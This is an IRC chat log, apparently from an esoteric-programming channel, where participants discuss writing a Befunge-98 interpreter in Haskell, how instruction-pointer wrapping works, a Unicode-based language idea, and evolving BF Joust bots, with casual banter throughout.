21:18:43 <Vorpal> zzo38, I presume unknown chars are ignored
21:18:44 <elliott> Deewiant: Whyso
21:18:48 <Vorpal> zzo38, so it beat some other program
21:18:49 <Deewiant> elliott: fromIntegral w == space, not fs !@ (x,y)
21:18:57 <elliott> Deewiant: Oh, right
21:19:21 <elliott> mergeByteString :: FungeSpace -> Vector -> ByteString -> FungeSpace
21:19:21 <elliott> mergeByteString fs (ox,oy) = snd . foldl' line (oy,fs) . B8.lines . B.filter (/= fromIntegral ff)
21:19:21 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (ox,fs) s)
21:19:21 <elliott> byte y (x,fs) w = (x+1, let wv = fromIntegral w in if wv == space then insertFS (x,y) wv fs else fs)
21:19:23 <Deewiant> Or w == fromIntegral space, maybe :-P
21:19:33 <Deewiant> (For MORE SPEED)
21:19:54 <elliott> I have to do fromIntegral w anyway in the non-space case :P
21:19:57 <zzo38> But it does not save my program in the directory
21:20:05 <Deewiant> elliott: But not in the space!!
21:20:32 <zzo38> (It did save my others ones and then it deleted them)
21:20:34 <elliott> Deewiant: Oh no!!!
21:20:38 <elliott> It would be less ugly that way actually.
21:20:44 <elliott> Deewiant: BETTER:
21:20:47 <elliott> Deewiant: if w == 32
21:20:51 <elliott> Deewiant: THAT AVOIDS THE EXPENSIVE CONVERSION
21:20:53 <Deewiant> MAGIC NUMBER
21:21:05 <elliott> Deewiant: Arguably, space, cr, lf, and ff should be Integral a => a's.
21:21:09 <elliott> I have to do "fromIntegral ff" here too.
21:21:11 <elliott> Yeah, I'll fix that.
21:21:47 <elliott> mergeByteString :: FungeSpace -> Vector -> ByteString -> FungeSpace
21:21:47 <elliott> mergeByteString fs (ox,oy) = snd . foldl' line (oy,fs) . B8.lines . B.filter (/= ff)
21:21:47 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (ox,fs) s)
21:21:47 <elliott> byte y (x,fs) w = (x+1, if w == space then fs else insertFS (x,y) (fromIntegral w) fs)
21:21:55 <elliott> Deewiant: Now all I need is a "lines" that works on \r\n and \r :P
21:22:41 <Deewiant> elliott: Look at Data.List.Split (package is called split)
21:23:14 <elliott> Deewiant: Data.LIST???
21:23:20 <elliott> Deewiant: ByteStrings, man! They're EFFICIENT
21:23:28 <Deewiant> Oh, right, bytestring has lines too
21:23:31 <elliott> I know of split, but, yeah.
21:23:35 <elliott> Deewiant: Right. And it only works with \n.
21:23:36 <Deewiant> Well, do it manually then
21:23:53 <elliott> Deewiant: I would, except ByteString's API doesn't exactly have the most useful set of functions.
21:24:22 <zzo38> You don't use \r only as newlines anymore, I think? Linefeed moves to next line and has implied carriage return when a text file is output to the terminal on UNIX, but really, on a printer, you should use both (it doesn't matter the order), except blank lines can have just \n. So use "unix2dos" program to pipe a file to the printer?
21:24:29 * iconmaster just noticed that Unicode has a reserved character called Snowman. SNOWMAN!
21:24:56 <zzo38> iconmaster: Why?
21:25:06 <elliott> iconmaster: http://unicodesnowmanforyou.com/
21:25:07 <elliott> iconmaster: Not reserved.
21:25:18 <iconmaster> zzo38: lol.
21:25:36 <Gregor> iconmaster: It also has Goat, Love Hotel, ...
21:25:42 <elliott> But no TROLL FACE>
21:25:44 <elliott> *FACE.
21:25:46 <iconmaster> zzo38: Im makin a lang called Onecode which is going to use all the Unicode characters.
21:25:52 <elliott> iconmaster: Gooood luck with that :P
21:25:57 <elliott> iconmaster: Especially all the Han characters.
21:26:01 <zzo38> iconmaster: Good, this has been ideas from a while.
21:26:09 <elliott> IDEAS FROM A WHILE
21:26:22 <iconmaster> I mean, my GOAl is to use all of em, but idk if I can...
21:26:32 <zzo38> The next idea is to make programming language using all Computer Modern symbols (including mathematics).
21:26:33 <iconmaster> I'm just filling as many as I cn for now.
21:27:47 -!- elliott has left (?).
21:27:57 <iconmaster> awwww bye Elliott
21:28:14 -!- elliott has joined.
21:28:30 <elliott> Deewiant: Maybe I'll use this, doesn't look overengineered at _all_: "attosplit library: Split a lazy bytestring at boundaries defined by an attoparsec parser"
21:28:39 <elliott> stringsearch library: Fast searching, splitting and replacing of ByteStrings
21:28:39 <elliott> hm
21:28:56 * iconmaster says 〠 looks funny
21:30:16 <zzo38> iconmaster: I do not have that font.
21:30:36 <iconmaster> zzo38: Then it must look VERY funny to you.
21:30:56 <elliott> Deewiant: http://hackage.haskell.org/package/stringsearch
21:31:07 <elliott> Deewiant: Think I need Boyer-Moore to search for newlines, or maybe Karp-Rabin?
21:32:01 <Deewiant> Well, if they don't have Aho-Corasick, go with Karp-Rabin
21:32:42 <zzo38> iconmaster: It just doesn't display.
21:33:26 <iconmaster> zzo38: It's a CJK Postal Face, whatever that is.
21:34:39 <elliott> Deewiant: :D
21:34:50 <coppro> d/win 3
21:34:55 <iconmaster> Onecode is going to have lots and lots of data types. Ideas for really esoteric data types?
21:35:20 <elliott> iconmaster: ordered graphs
21:35:39 <iconmaster> sounds cool...
21:36:14 <elliott> iconmaster: i just made them up :)
21:36:17 <elliott> good luck finding out what they are
21:36:49 <iconmaster> that's an actual data type... Wiki it.
21:37:05 <elliott> iconmaster: ah, that's not what i meant
21:37:12 <elliott> iconmaster: an ordered set is just a list without duplicates
21:37:15 <elliott> so an ordered graph is ???
21:37:25 <iconmaster> o lol. A graph w/o dupilacites?
21:37:33 <elliott> errrr no
21:38:08 <iconmaster> i'm not getting it, i guess. I really need to learn more mathematics and stuff.
21:38:14 -!- nddrylliog has joined.
21:39:16 <iconmaster> So... Graphs are a definite consideration for a Onecode data type.
21:39:59 <coppro> iconmaster: graphs are just tuples
21:40:10 <coppro> so are most important mathematical structures
21:40:13 <elliott> nddrylliog:
21:40:17 <elliott> mergeByteString :: FungeSpace -> Vector -> ByteString -> FungeSpace
21:40:17 <elliott> mergeByteString fs (ox,oy) = snd . foldl' line (oy,fs) . B8.lines . B.filter (/= ff)
21:40:17 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (ox,fs) s)
21:40:17 <elliott> byte y (x,fs) w = (x+1, if w == space then fs else insertFS (x,y) (fromIntegral w) fs)
21:40:19 <elliott> what's that in ooc
21:40:20 <coppro> turing machines? actually tuples
21:40:21 <elliott> sorry
21:40:23 <elliott> sorry
21:40:25 <elliott> sorry
21:40:27 <elliott> i mean
21:40:29 <elliott> uh
21:40:31 <elliott> what's your lang called again
21:40:32 <coppro> kripke structures? actually tuples
21:40:33 <elliott> your new one
21:40:35 <elliott> that
21:40:39 <elliott> crowbar.
21:40:47 <elliott> nddrylliog: more seriously: http://esolangs.org/wiki/Talk:Crowbar
21:41:08 <nddrylliog> so far nobody can take upon elliott in the "Let's make nddrylliog run away as quick as we can" challenge
21:41:10 <nddrylliog> elliott: oh hai there.
21:41:16 <elliott> HI
21:41:17 <elliott> :D
21:42:25 <coppro> nddrylliog: your body is so sexy
21:43:00 <elliott> Deewiant: Does Mycology test \r\n or \r terminators?
21:43:03 <nddrylliog> coppro: why hello there.
21:43:20 <elliott> ignore coppro, he eats shit *rimshot*
21:43:21 <Deewiant> elliott: \r\n only IIRC
21:43:34 <nddrylliog> coppro: is it my tight S-size OpenSUSE t-shirt that makes me look so sexy?
21:43:37 <elliott> Deewiant: how early? :P
21:43:54 <Deewiant> Well, it's all written with DOS newlines...
21:44:11 <elliott> Deewiant: argh :)
21:44:49 <elliott> the Instruction Pointer section is damned lies, right?
21:44:53 <elliott> pretty sure t gives you multiple IPs
21:45:16 * iconmaster is amazed at the staggaring array of Unicode arrows.
21:45:57 * iconmaster is not takling about what anyone else is saying, and should be ignored.
21:45:57 <elliott> RITE???
21:46:06 <Deewiant> Yeah, probably
21:46:46 <elliott> Deewiant: What happens if two IPs write to the same location in fungespace simultaneously? :D
21:46:57 <Deewiant> Nothing happens simultaneously
21:47:01 <Deewiant> Except with Vorpal's ATHR
21:47:04 <elliott> Deewiant: How are the IPs loaded?
21:47:05 <iconmaster> elliott: THe universe explodes.
21:47:08 <elliott> erm
21:47:10 <elliott> Deewiant: How are the IPs ordered?
21:47:16 <Deewiant> Read the section on t :-P
21:47:38 <Deewiant> It does leave at least one ambiguity but you'll get the idea
21:47:39 <elliott> THAT'S WHAT THEY'RE EXPECTING ME TO DO
21:47:49 * nddrylliog is in presentation-making mode
21:47:59 <elliott> Deewiant: Is it just me or is the Funge-98 spec totally illogically ordered?
21:48:12 <Deewiant> ... maybe?
21:48:18 <elliott> "To remember which is which, visualize yourself on the seat of a bicycle, looking down at the handlebars:"
21:48:20 <elliott> xD
21:48:27 <elliott> worst justification for syntax ever
21:48:29 <Deewiant> That's actually a good memory rule
21:48:31 <Deewiant> Worked for me, anyway
21:48:48 <elliott> Oh god, you can ... pop the delta?
21:48:51 <elliott> Oh, right.
21:49:14 <elliott> I think wrapping is going to be very hard to implement with my Map structure.
21:49:36 <Deewiant> Yes.
21:49:52 <elliott> Deewiant: What kind of structure do I want? :-P
21:49:55 <nddrylliog> I *hate* wikimedia markup
21:50:08 <elliott> nddrylliog: *mediawiki
21:50:19 <nddrylliog> right
21:50:52 -!- cheater00 has quit (Ping timeout: 240 seconds).
21:50:56 <Deewiant> Well, you actually want a bucket PR-CIF k-d tree of axis-aligned bounding boxes but for you, storing an additional (Vector,Vector) will suffice
21:51:30 <elliott> Deewiant: Is that what you actually use? :P
21:51:34 <nddrylliog> elliott: that ByteString example looks fun though - if you care to explain it a bit more when I get back I might have a shot at it
21:51:47 <Deewiant> No, I just have an array of bounding boxes because I've been too lazy to code up k-d trees :-P
21:51:50 -!- cheater00 has joined.
21:51:52 <elliott> Also, storing just one additional (Vector,Vector) in the fungespace? Really?
21:51:55 <nddrylliog> cause right now I have a train to take. seeya!
21:51:59 <elliott> nddrylliog: bai
21:52:06 <Deewiant> elliott: It's good enough, yes.
21:52:17 <elliott> Deewiant: Oh, two vectors.
21:52:18 <Deewiant> For most non-pathological cases anyway.
21:52:20 <elliott> Deewiant: Just lower/upper bound?
21:52:22 <Deewiant> Yeah.
21:52:35 <elliott> Deewiant: Then just iterate going forwards until I hit that. Right.
21:52:45 <elliott> Deewiant: Or, I could just use my bounds function for now and optimise it later :P
21:52:55 <elliott> Deewiant: slowdown.b98 is designed to trip up such things, right?
21:53:01 <Deewiant> Yeah. :-P
21:53:14 <Deewiant> Or wait, actually no.
21:53:19 <zzo38> What do you dislike about Mediawiki markup?
21:53:27 -!- Cheery has quit (Quit: Lost terminal).
21:53:29 <Deewiant> It does invoke that by accident, but it's not "designed" to do it. :-D
21:53:34 -!- impomatic has quit (Quit: http://shiar.nl/calc/z80/optimize).
21:53:50 -!- iconmaster has quit (Quit: ).
21:53:53 <Deewiant> The "design" was just to jump out of cfunge's statically allocated space. :-P
21:54:04 -!- Phantom_Hoover has quit (Remote host closed the connection).
21:54:46 <elliott> Deewiant: Did cfunge ever get fast at slowdown?
21:55:05 <elliott> Or did he microoptimise so much that changing the algos was impossible :D
21:55:20 <Deewiant> Well, he hasn't looked into changing the algos, he's sticking with the static area + hash map
21:56:23 <elliott> Deewiant: Basically, he's optimised for one program (fungot) and has therefore captured the entire Befunge-98 implementation market, which consists of fizzie.
21:56:23 <fungot> elliott: the line starting with ' alternatively' was for jix
21:56:28 <elliott> Deewiant: :P
21:56:41 -!- nddrylliog has quit (Ping timeout: 240 seconds).
21:56:47 <Deewiant> ccbi is mostly faster than cfunge on fungot these days (last I checked on something, anyway)
21:56:48 <fungot> Deewiant: i demand an accounting. i will look into it. i never managed to move from one place to another, rather than " from"
21:58:21 <elliott> Deewiant: Yeah, but fizzie will never use CCBI because it's impossible to get a D compiler.
21:58:26 <ais523> I love the way that fungot needs leading space to move
21:58:26 <fungot> ais523: scheme grammar or english grammar?) guitar riffs this band is doing it as an educational tool
21:58:31 <ais523> some sort of run-up, presumably
21:58:37 <elliott> ais523: eh?
21:58:55 <Deewiant> elliott: Presumably not, yes
21:58:55 <ais523> elliott: it can't move "from", just " from"
21:59:02 <elliott> oh
21:59:14 <quintopia> ais523: what's the directory of bfj programs again?
21:59:17 <elliott> guitar riffs as an educational tool sound interesting
21:59:32 <elliott> also, (pick i (grammar scheme))
22:00:02 <elliott> Why is "y" so crazy.
22:01:14 <elliott> SHRO is 0x5348524F, I think
22:01:16 <elliott> *think.
22:04:06 <elliott> "Except for any limitations noted above or hitherto undiscovered, FBBI v0.98 is 100% compliant with the Funge-98 Final Specification, located at"
22:04:07 <elliott> lol
22:04:28 <ais523> http://codu.org/eso/bfjoust/in_egobot/
22:04:34 <ais523> quintopia: ^
22:04:54 <quintopia> thx
22:05:11 <quintopia> which one is tripwire? :P
22:05:48 * elliott writes advance
22:06:58 <elliott> Man, Deewiant never told me I'd have to use my brain to prove him wrong.
22:09:01 <elliott> let x' = if vx > 0 && x >= mxx then mnx + vx else x + vx
22:09:01 <elliott> y' = if vy > 0 && y >= mny then mny + vy else y + vy
22:09:04 <elliott> Wait.
22:09:20 <elliott> It's actually just:
22:09:36 <elliott> minimumx + ((x - minimumx + velocityx) % maximumx)
22:09:37 <elliott> Right?
22:10:02 <olsner> I wonder if I'll ever be required to allocate several contiguous page frames or if I can take all the shortcuts I want
22:10:07 <elliott> No wait...
22:10:17 <elliott> minimumx + ((x - minimumx + velocityx) % (maximumx - minimumx))
22:10:49 * elliott waits for Deewiant to correct him
22:11:07 <Deewiant> I can't remember how that works like that, my algo is different
22:11:24 <olsner> it's just f x vx mnx, for some f
22:11:33 <elliott> Deewiant: I'd ask you what your algo is, but then I'd be Vorpal :D
22:11:47 <Deewiant> Read the source :-P
22:12:05 <Vorpal> <Deewiant> Worked for me, anyway <-- same for me
22:12:08 <elliott> *Shiro.FungeSpace> advance origin east emptyFungeSpace
22:12:08 <elliott> (*** Exception: divide by zero
22:12:09 -!- Lymia_ has joined.
22:12:10 <elliott> Hell yeah
22:12:17 <elliott> *Hells
22:12:28 <elliott> Awesome, you can't do %0.
22:12:38 <Vorpal> Deewiant, PR-CIF?
22:12:58 <elliott> *Shiro.FungeSpace> advance origin east emptyFungeSpace
22:12:59 <elliott> (0,0)
22:13:01 <elliott> Clearly it is perfect
22:13:22 <Vorpal> elliott, your algo for?
22:13:23 <Deewiant> It's a variant of the MX-CIF and PR k-d trees :-P
22:13:26 <elliott> Vorpal: Moving.
22:13:33 <Vorpal> elliott, moving as in j?
22:13:39 <elliott> No, just as in moving.
22:13:41 <elliott> As in going forward.
22:13:46 <elliott> advance :: Vector -> Vector -> FungeSpace -> Vector
22:13:46 <elliott> advance (x,y) (vx,vy) fs =
22:13:46 <elliott> let ((mnx,mny),(mxx,mxy)) = bounds fs
22:13:46 <elliott> x' = mnx + ((x - mnx + vx) `mod` (mxx - mnx + 1))
22:13:46 <elliott> y' = mny + ((y - mny + vy) `mod` (mxy - mny + 1))
22:13:49 <elliott> in (x',y')
22:13:51 <Vorpal> elliott, oh. Adding delta to current
22:13:55 <elliott> Vorpal: And wrapping.
22:13:56 <Vorpal> and then checking for wrapping
22:14:01 <elliott> Vorpal: No checks here :P
22:14:08 <Vorpal> elliott, oh?
22:14:12 <elliott> See the use of mod.
22:14:18 <Vorpal> elliott, it doesn't work for non-cardinal
22:14:22 <elliott> You sure?
22:14:29 <Vorpal> elliott, 99.99%
22:14:32 <elliott> Why?
22:14:38 <Vorpal> elliott, ask Deewiant
22:14:43 <elliott> *Shiro.FungeSpace> advance (3,0) (2,0) hello
22:14:44 <elliott> (0,0)
22:14:47 <elliott> (hello is just the fungespace "hello")
22:14:48 <Vorpal> <Deewiant> It's a variant of the MX-CIF and PR k-d trees :-P <-- I don't know of either
22:14:52 <zzo38> What is the correct bibliography citation to cite one program I wrote within another?
22:15:04 <Vorpal> elliott, it won't work for 2,7 or such I suspect
22:15:15 -!- Lymia has quit (Ping timeout: 240 seconds).
22:15:20 <elliott> Vorpal: I don't see why not
22:15:29 <elliott> *Shiro.FungeSpace> advance (0,0) (2,7) hello
22:15:29 <elliott> (2,0)
22:15:31 <Vorpal> elliott, because it wraps the wrong way as far as I can tell
22:15:32 <elliott> Hmm
22:15:39 <elliott> Is that right?
22:15:41 <Vorpal> elliott, pretty sure that is the wrong place
22:15:43 <elliott> (0,0) is current pos
22:15:45 <Vorpal> not 100% sure
22:15:45 <elliott> (2,7) is delta
22:15:50 <elliott> I think (2,7) should loop forever, right?
22:15:51 <elliott> delta
22:15:54 <Vorpal> elliott, and bounding box?
22:16:04 <elliott> Vorpal: It's just the fungespace "hello".
22:16:04 <Vorpal> elliott, all deltas will loop forever if they don't hit anything
22:16:18 <Vorpal> elliott, I know seven different hello world in befunge
22:16:27 <elliott> Vorpal: It's just the fungespace "hello".
22:16:31 <Vorpal> ah
22:16:37 <Vorpal> you mean literally
22:16:43 <Vorpal> well then I think it must be wrong
22:16:45 <Vorpal> ask Deewiant
22:16:48 <elliott> Deewiant: Remember when you and Vorpal talked about Funge-98 and whenever he didn't understand you just repeated the same thing?
22:16:51 <elliott> It totally works, doesn't it?
22:17:19 <Vorpal> elliott, I tried to interpret non-literally :P
22:17:47 <fizzie> elliott: It's like saying ";" to a Prolog query.
22:17:57 <Vorpal> fizzie, what does that do
22:18:09 <fizzie> Vorpal: Tries to find another answer for you.
22:18:10 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:18:18 <elliott> :D
22:18:19 -!- Lymia_ has changed nick to Lymia.
22:18:21 -!- Lymia has quit (Changing host).
22:18:21 -!- Lymia has joined.
22:18:29 <Vorpal> aha
22:18:30 <elliott> fizzie: Reminds me of DMM's Pavlov operating system.
22:18:34 <elliott> "no, I didn't want that" "Did you want this instead?"
22:18:35 <Vorpal> elliott, then I guess that makes sense!
22:19:00 <Lymia> Well.
22:19:07 <Lymia> That was a rather egregious failure.
22:19:14 <zzo38> Did you know that many commands that have the same name in DVI and GF formats also have the name code number? This is probably done on purpose that one program can read both files using the same set of @d macros?
22:19:16 <Vorpal> what was
22:19:16 <fizzie> ?- member(X, [1,2,3]).
22:19:16 <fizzie> X = 1 ;
22:19:16 <fizzie> X = 2 ;
22:19:16 <fizzie> X = 3 ;
22:19:16 <fizzie> false.
22:19:23 <Lymia> I tried to start the BF Joust evolver with random programs.
22:19:24 <fizzie> (Those semicolons are what I typed.)
22:19:36 <Lymia> It is now generation 156
22:19:37 <ais523> "Onecode's major goal is to use every Unicode character in its commands. It currently is including an accumulator, and as many data types as possible."
22:19:40 <Lymia> The bots all start with []
22:19:44 <ais523> that's so going to be the longest fix ever
22:19:51 <elliott> Lymia: [[In the days when the Sussman was a novice, Minsky once came to him as he sat hacking at the PDP-6.
22:19:52 <elliott> "What are you doing?", asked Minsky.
22:19:52 <elliott> "I am training a randomly wired neural net to play Tic-tac-toe", Sussman replied.
22:19:52 <elliott> "Why is the net wired randomly?", asked Minsky.
22:19:52 <elliott> "I do not want it to have any preconceptions of how to play", Sussman said.
22:19:53 <elliott> Minsky then shut his eyes.
22:19:53 <Vorpal> Lymia, whops
22:19:54 <ais523> *longest spec
22:19:55 <elliott> "Why do you close your eyes?" Sussman asked his teacher.
22:19:57 <elliott> "So that the room will be empty."
22:19:59 <elliott> At that moment, Sussman was enlightened.]]
22:20:11 <Lymia> Heh.
22:20:18 <ais523> elliott: evolving from random programs can still be interesting
22:20:29 <Lymia> elliott, starting from simple bots resulted in a brute force attacker.
22:20:33 <Lymia> With no variation.
22:20:35 <Vorpal> elliott, I thought of the same quote there
22:20:35 <elliott> Lymia: Heh.
22:20:57 <Lymia> Starting with complex bots causes the complex bots to gather mutations and become worse.
22:21:12 <Lymia> I'm going to figure out a way to make it work better when I get back from dinner.
22:21:19 <Vorpal> Lymia, genetic algorithms are hard.
22:21:22 <Lymia> Maybe something ELSE will spring up...
22:21:24 <elliott> Vorpal: it's not genetic
22:21:26 <elliott> it's hill-climbing
22:21:27 <Vorpal> elliott, oh
22:21:29 <Vorpal> elliott, I see
22:21:29 <elliott> unless Lymia added breeding
22:21:35 <Lymia> elliott, I might.
22:21:42 <Lymia> Cross over the best few bots.
22:21:45 <Lymia> Add them to the hill.
22:21:50 <elliott> Crossing BF is very hard.
22:21:54 <Vorpal> elliott, some said generation so I thought genetic
22:22:01 <Lymia> If the bots are related, they might get better overall.
22:22:02 <Vorpal> and yeah what elliott said
22:22:08 <Lymia> If the bots are completely different, then the end result will fail.
22:22:11 <elliott> I blame Vorpal for this advance algorithm not working.
22:22:12 <Lymia> It's the opposite of real life!
22:22:19 <Vorpal> elliott, what algorithm?
22:22:22 <Lymia> In real life, inbreeding makes things worse.
22:22:26 <elliott> The same as the one I pasted.
22:22:28 <Lymia> In BF, inbreeding has the chance to make things better!
22:22:30 * Lymia runs
22:22:31 <elliott> let ((mnx,mny),(mxx,mxy)) = bounds fs
22:22:32 <elliott> x' = mnx + ((x - mnx + vx) `mod` (mxx - mnx + 1))
22:22:32 <elliott> y' = mny + ((y - mny + vy) `mod` (mxy - mny + 1))
22:22:32 <elliott> in (x',y')
22:22:34 <Vorpal> elliott, I told you it wouldn't work
22:22:36 <Vorpal> so....
22:22:44 <elliott> Lymia: Insert derivative "wincest" comment here.
22:22:44 <Vorpal> elliott, anyway it doesn't handle negative coords does it?
22:22:48 <Lymia> =p
22:22:53 <elliott> Vorpal: It does, I think.
22:22:56 <elliott> Vorpal: But I still blame you for it not working.
22:22:57 <Vorpal> like wrapping from 0,10 to 0,-230
22:23:09 <Vorpal> elliott, I'm not involved in it, so that makes no sense
22:23:09 <elliott> That's why it uses mnx/mny.
22:23:12 <elliott> Vorpal: Yes it does.
22:23:23 <Lymia> .[>.[]-]-.+[]>->
22:23:24 <Lymia> Oh?
22:23:26 <Lymia> This is VERY intresting.
22:23:49 <elliott> !bfjoust toto .[>.[]-]-.+[]>->
22:23:57 <elliott> !bfjoust toto .[>.[]-]-.+[]>->
22:24:07 <Vorpal> also curses on all these plastic cards. I have three different for university (doors, library, student card for discounts). Couldn't they combine those into one?
22:24:08 <Lymia> Isn't this one step removed from a brute force attack?
22:24:22 <Lymia> i.e. [>[-]-]
22:24:34 <elliott> Vorpal: be thankful: you don't have a Door
22:24:35 <elliott> cue ais523
22:24:38 <Vorpal> elliott, hah yes
22:24:57 <zzo38> Vorpal: Maybe for privacy purposes they give you three instead of just one? I don't know.
22:24:58 <ais523> they are all the same card for me
22:25:04 <Vorpal> ais523, heh
22:25:14 <Vorpal> ais523, but are you still a student?
22:25:17 <Lymia> elliott, I expect a simple attackX like bot by generation 300
22:25:18 <ais523> yes
22:25:23 <elliott> he studies Ph.D.s
22:25:25 <Vorpal> ais523, oh I thought you were teaching
22:25:25 <ais523> in fact, technically I'm only a second year
22:25:26 <elliott> Lymia: lawl
22:25:28 <Lymia> ...
22:25:29 <elliott> Vorpal: TA
22:25:30 <Lymia> And then they take over.
22:25:30 <Vorpal> ais523, what
22:25:33 <Lymia> And nothing else gets made.
22:25:34 <Lymia> The End.
22:25:35 <elliott> ais523: heh
22:25:35 <Vorpal> elliott, what?
22:25:38 <elliott> ais523: you're doing worse than oklopol!
22:25:40 <zzo38> elliott: What kind of Ph.D.s?
22:25:41 <elliott> no wait
22:25:43 <elliott> ais523: you're doing better than oklopol!
22:25:51 <elliott> Vorpal: teaching assistant
22:25:53 <Vorpal> aha
22:25:54 <elliott> zzo38: phdy phds
22:26:07 <elliott> ais523: did your first year take exceptionally long or is my perception of time skewed?
22:26:19 <ais523> elliott: the counter reset when I finished my Master's degree
22:26:20 <Vorpal> it is strange it isn't called Comp.D or such
22:26:21 <Lymia> elliott, right now, the status quo is "These bots are trying to not die from wandering off the tape. Therefore we will stick ourselves."
22:26:26 <fizzie> All our graduate students are also teaching; the new rules say that even "purely research" people have to do 56 hours of teaching per year. Granted, that's not very much.
22:26:29 <Vorpal> I mean why it is it all Ph.D
22:26:31 <elliott> ais523: heh
22:26:37 <Vorpal> ph stands for philosophy after all
22:26:40 <elliott> Vorpal: no
22:26:44 <EgoBot> Score for elliott_toto: 0.0
22:26:44 <ais523> fizzie: those rules aren't new in our department, they've been like that for a while
22:26:45 <EgoBot> Score for elliott_toto: 0.0
22:26:49 <Vorpal> elliott, ?
22:26:52 <ais523> Vorpal: "philosophy" used to just mean "science"
22:26:54 <elliott> The term "philosophy" does not refer solely to the modern field of philosophy, but is used in a more broad sense in accordance with its original Greek meaning, which is "love of wisdom". In most of Europe, all fields other than theology, law and medicine were traditionally known as philosophy.
22:26:56 <Vorpal> ais523, aha
22:27:28 <Vorpal> today they should all be Sci.D then
22:27:32 <Vorpal> including medicine and so on
22:27:33 -!- c0w has changed nick to copumpkin.
22:27:38 <Vorpal> well probably not law
22:27:41 <Vorpal> or theology
22:27:48 <elliott> we should start handing out Ls.D.s!
22:27:54 <elliott> Law Science Doctorates, or something
22:27:56 <Vorpal> elliott, XD
22:28:05 <elliott> and in countries with evil communist education? well, they offer FREE LSD
22:28:09 <Vorpal> elliott, I think it is likely Jur.D
22:28:39 <zzo38> The command for no operations is different in GF and DVI, but they have a different name so that you can tell the difference.
22:28:51 <Lymia> elliott.
22:28:52 <Lymia> Hmm...
22:29:03 <Lymia> How much do you think it would help if I added a pesudoopcode "loop forever"
22:29:03 <Vorpal> zzo38, and? how is this relevant to the current discussion
22:29:07 <Lymia> Which would basicly be (x)*100000
22:29:07 <elliott> Lymia: Not at all.
22:29:11 <elliott> Well.
22:29:12 <elliott> Maybe.
22:29:18 <elliott> Lymia: try *1024
22:29:21 <elliott> more is unlikely to help
22:29:27 <Lymia> 100000 is the opcode limit.
22:29:28 <Lymia> :v
22:29:30 <elliott> hey Vorpal, what's a good wrapping algorithm
22:29:40 <zzo38> Vorpal: No I just wrote a message from a few minutes ago and I typed the next line more slowly, sorry
22:29:54 <fizzie> ais523: Well, they started this study-year at our place, and they've had some moderate trouble in inventing teaching tasks for everyone. I'm doing the assistantizing thing for "Machine Learning: Advanced Probabilistic Methods" now because of that.
22:29:55 <Vorpal> elliott, a trivial one for cardinal then the slow one for non-cardinal. Since the non-cardinal is so much rarer
22:30:14 <elliott> Vorpal: What's the non-cardinal one, I only care about perfect algorithms
22:30:26 <Vorpal> fizzie, XD
22:30:32 <elliott> Microoptimisation starts as soon as I get full pass on Mycology
22:30:37 <elliott> And no sooner
22:30:49 <Vorpal> elliott, the one in the spec
22:31:04 <elliott> Vorpal: The spec doesn't have an algorithm
22:31:08 <Vorpal> elliott, yes it does
22:31:12 <Vorpal> elliott, in a very confusing place
22:31:18 <elliott> Yy
22:31:18 <elliott> *Yay
22:31:38 <elliott> /wrap/ doesn't find it
22:31:41 <quintopia> is there a language wherein it is provably undecidable whether or not it is Turing-complete?
22:31:43 <elliott> Well
22:31:43 <elliott> When the IP attempts to travel into the whitespace between the code and the end of known, addressable space, it backtracks. This means that its delta is reversed and it ignores (skips over without executing) all instructions. Travelling thus, it finds the other 'edge' of code when there is again nothing but whitespace in front of it. It is reflected 180 degrees once more (to restore its original delta) and stops ignoring instructions. Execution t
22:31:43 <elliott> hen resumes normally - the wrap is complete.
22:31:45 <elliott> Do you mean that?
22:31:53 <Vorpal> elliott, you fail: http://catseye.tc/projects/funge98/doc/funge98.html#Wrapping
22:31:53 <Lymia> >.>
22:31:54 <elliott> quintopia: Oolzybub and Murphy is TC iff Goldbach
22:31:59 <elliott> Vorpal: Do you mean that quote?
22:32:05 <Lymia> Maybe I should try an unsubtle push.
22:32:08 <Vorpal> elliott, yes
22:32:10 <Lymia> Something like a new opcode "ClearCell"
22:32:15 <Lymia> Which would translate to "[-]"
22:32:15 <elliott> *Oozlybub
22:32:17 <elliott> quintopia: http://catseye.tc/projects/oozlybub-and-murphy/
22:32:26 <quintopia> elliott: goldbach is not provably undecidable afaik
22:32:31 <Vorpal> elliott, that paragraph is the slow algorithm
22:32:50 <elliott> quintopia: well sure
22:33:04 <elliott> "When the IP attempts to travel into the whitespace between the code and the end of known, addressable space,"
22:33:09 <elliott> does this mean whenever it hits whitespace of any sort?
22:33:19 <elliott> or just when it hits the maximum or something?
22:33:33 <elliott> I just don't quite understand it :P
22:33:34 <Vorpal> elliott, when it hits/goes past the edge works
22:33:58 <Vorpal> elliott, also don't feel bad for not understanding it. Not everyone can have an intellect like me, cpressey and Deewiant!
22:34:00 <Vorpal> ;)
22:34:07 -!- BeholdMyGlory has joined.
22:34:08 <elliott> cpressey clearly doesn't have the intellect, he couldn't implement it properly.
22:34:09 <Vorpal> (aka, a mad one)
22:34:20 <zzo38> If Goldbach conjecture is not provably undecidable, can you make one that involves something which is provably undecidable, but can still be turing-complete based on that?
22:34:23 <elliott> he just barfed out some text and now we're stuck with it, 13 years later :)
22:34:30 <Vorpal> elliott, yeah
22:34:42 -!- Behold has quit (Read error: Operation timed out).
22:36:00 <elliott> I still don't quite get it :P
22:36:07 <elliott> OK, let's see.
22:36:22 <Vorpal> elliott, cfunge implements it as the slow variant
22:36:25 <Vorpal> you can read it's code
22:36:38 <elliott> If the IP's x or y is greater than the maximum x or y, then we go into a loop, with vx and vy both negated.
22:36:55 <elliott> Then we keep advancing with the delta until we go past the other end of the space.
22:37:03 <Vorpal> elliott, I believe ccbi instead solves diophantine equations!
22:37:11 <elliott> If we're at one end, we start executing there normally.
22:37:14 <Lymia> !bfjoust finally +>.[]([-]-->++)*12[<.>.+]-+.
22:37:15 <elliott> Otherwise, we're in an infinite loop or something.
22:37:20 <elliott> Vorpal: Can't read cfunge code, it's GPL';d.
22:37:22 <elliott> *GPL'd.
22:37:23 <EgoBot> Score for Lymia_finally: 0.0
22:37:53 <Vorpal> elliott, okay: detect you went past end. Reverse delta. Go back until you hit other end. Reverse again. Continue execution
22:37:58 <Vorpal> elliott, did that make more sense?
22:38:06 <elliott> Vorpal: Except with non-cardinal direction you *might not hit the other end*.
22:38:08 <elliott> You might just go past it.
22:38:09 <elliott> And then what?
22:38:23 <Vorpal> elliott, reverse and start from the first position inside of course
